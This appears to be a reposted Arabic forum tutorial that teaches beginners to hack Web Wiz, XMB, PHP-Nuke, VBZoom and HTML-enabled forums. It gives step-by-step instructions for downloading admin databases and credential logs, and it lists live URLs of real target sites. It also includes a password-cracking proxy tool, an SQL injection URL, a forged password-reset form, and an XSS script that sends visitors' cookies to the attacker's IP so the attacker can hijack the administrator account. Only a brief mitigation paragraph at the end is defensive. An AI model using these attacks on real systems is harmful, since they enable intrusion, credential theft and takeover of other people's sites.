Web Wiz Guide اختراق منتديات

مثال
http://host.basharnet.com/forum
هذه الطريقة أقدمها لكل الهاكرز المبتدئين لأنها سهلة جدا وما بدا غير تحمل هالملف وتتصفح الباسوورد على كيفيك دون تشفير يعني إذا كنت ما بتعرف شي عن الهاكر بقرائتك لهذه الثغرة تستطيع أن تخترق منتدى
أغلب المنتديات مصابة بهذه الثغرة
بسم الله الرحمن الرحيم
الشرح: ثغرة تصيب منتديات
Web Wiz Guide
أولا إذهب إلى
google
اكتب
Web Wiz forum
ويمكنك كتابه
Web Wiz forum 1
Web Wiz forum 2.1
وانتظر لحد ماتطلع لك المواقع الي تدعم هذا المنتدى ادخل المنتدى واكتب بعد forum
في شريط العنوان
admin/wwforum.mdb
يعني متل العنوان اللي فوق اذا كان بعد الـ
FORUM
في شي احذفو و حط
admin/wwforum.mdb
رح يبدأ تلقائيا بتحميل ملف , حمل الملف وادخل عليه عن طريق
microsoft office access
بعد ماتاخذ باسوورد المشرف العام اذهب إلى
admin
التي ستجدا في العنوان التالي
philboard_admin.asp
ضعها بعد
forum
كالسابقة
سجل اسمك والباسوورد
الآن أنت في لوحة التحكم
ثغرات :
http://www.okcastroclub.com/forum/admin/wwforum.mdb
http://www.cashswarm.com/forum/admin/wwforum.mdb
http://www.strategic-alliances.org/b...in/wwforum.mdb
http://www.owa.dk/fo/admin/wwforum.mdb

ْXMBمنتديات الــ

الشرح والتطبيق
1- عليك بالذهاب الى موقع جوجل
http://www.google.com/
2- اكتب في منطقة البحث
XMB 1.6 Magic Lantern Final
3- سوف ترى منتديات كثييييييييره اكثرها مصابه بهذه الثغره لكن رجاااء
لاتقرب المنتديات العربية وعليك بتحذيرها من الثغره الموجوده.
4- اضغط على اي منتدى وقم بكتابة الكلمة التالية بعد عنوان المنتدى
index_log.log
يعني راح يكون زي كده
http://www.******.com/massegboard/index_log.log
5- راح ينزل عندك في ملجاد الـ
Temp
ملف والملف عباره عن ملف زي الكوكيز كبير وفيه اسماء
المستخدمين والباسورد وأشياء ثانيه ماتهمنا.
6- الأن عليك بالبحث في المنتدى عن اسم المدير وذلك بالذهاب الى المواضيع
وتشوف الأسماء والي تلقى تحت اسمه ادمن ستريتور انسخ اسمه.
7- افتح الملف الي نزلته من الموقع وسوي بحث عن اسم المدير راح يجيك هيك مثلا:
xmbuser=admin
والباسورد راح تلقاه قدامه زي كذه
xmbpw=1faeb6747a31c854800ddf3c62b1717a
8- طبعا الباسورد في هذه الحاله مشفر وفك التشفير صعب لهذا الغرض قامت شركة
CCI
بتصميم برنامج يقوم بهذا الغرض وهذه وصلت البرنامج
ftp://www.cafecounterintelligence.com/cci/chigger.exe
اذا لم تجده اذهي الى جوجل واكتب
inurl:chigger.zip
وشوف وحدة من النتائج و حمل البرنامج
افتح البرنامج وفي :
رقم (1) قم بوضع علامة صح.
رقم (2) قم بوضع اسم العضو سواء مدير او غيره
رقم (3) قم بوضع الباسورد المشفر حق العضو او المدير او غيره
رقم (4) قم بوضع علامة صح.
رقم (5) قم بوضع البروكسي الي تريده اوالبروكسي حق مزوده الخدمه حقك
رقم (6) قم بوضع المنفذ حق البروكسي
10- بقي شيء واحد بعد اتمام الأعدادات حقت البرنامج بقي ان تذهب الى
المتصفح انترنت اكسبلورر > اضغط بالزر اليمين> الأتصالات> اعدادات>
قم بوضع البروكسي هذا 127.0.0.1> والمنفذ 8080
11- بعد ذلك اذهب للمنتدى المستهدف وتجول فيه وكأنك المدير تبع المنتدى
بمكنك أيضا بدل أن تضع اسم المير وضع اسم أي عضو آخر وتتصرف وكأنه هو
ولكن المدير هو العضو الأكثر صلاحيات

VBZooMومنتديات الــ PHP NUKEثغرة
ثغرة مجلة
phpnuke
+++++++
http://www.example.com/modules.php?....O%20OUTFILE%20'[/path]/vf.txt'/*
تضع بدلا من
http://www.example.com/
أسم الموقع الذي تريده
___________________________
اختراق منتديات vbzoom
------------------------------------------------
السلام عليكم
شباب انا اقدم لكم اهم ثغره معى الشرح المفصل
<form name="f1" action="هنا تضع وصله الموقع " method="POST">
<input type="hidden" name="ChangeProfile" value="1">
User Name: <input type="text" name="UserName"><br>
Password: <input type="text" name="Password"><br>
Email: <input type="text" name="Email">
<input type="hidden" name="HomePage" value="lamerZ">
<input type="hidden" name="VBZooMForum*****esUserName" value="false">
<input type="hidden" name="VBZooMForum*****esUserName" value="false">
<input type="submit" value="reset password">
</form >
وبعد ان تحط وصل الموقع
تسويه في صفحه
html
وتكتب اسم الادمين والباسورد الجديده وايميل جديد

HTMLطريقة اختراق المنتديات التي تدعم أكواد الــ
طريقة اختراق المنتديات التي تدعم ال
html
الثغرة :
---------
تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ
HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ
HTML
) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
******************.write('<img
src="http://my_ip_address/'+********.*****e+'">';</script>

مع ملاحظة تغير الـ
IP Adress
الى رقم الـ
IP
الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل
IIS
او
Apache
او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ
Log
الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد
Apche
واختر
logs
واختر
Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :
GET/ bbuserid=86;%20bbpassword=dd61
69d68822a116cd97e1fb
ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f
8;%20bbthreadview[54
20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة
Forgot Password
.. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

------------
الحل
-----------

للحماية من هذه الثغرة قم باغلاق الـ
HTML
في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود
HTML
باي صورة كانت )

كما يجب اغلا كود الـ
IMG
.. لانه ببساطة بامكانك استخدامه بدل كلمة
**********
فاذا وضعت
<img>
او
*********
او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
تاريخ اكتشاف الثغرة : 31 - 1 - 2002
تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .





((مــنــقــوووول))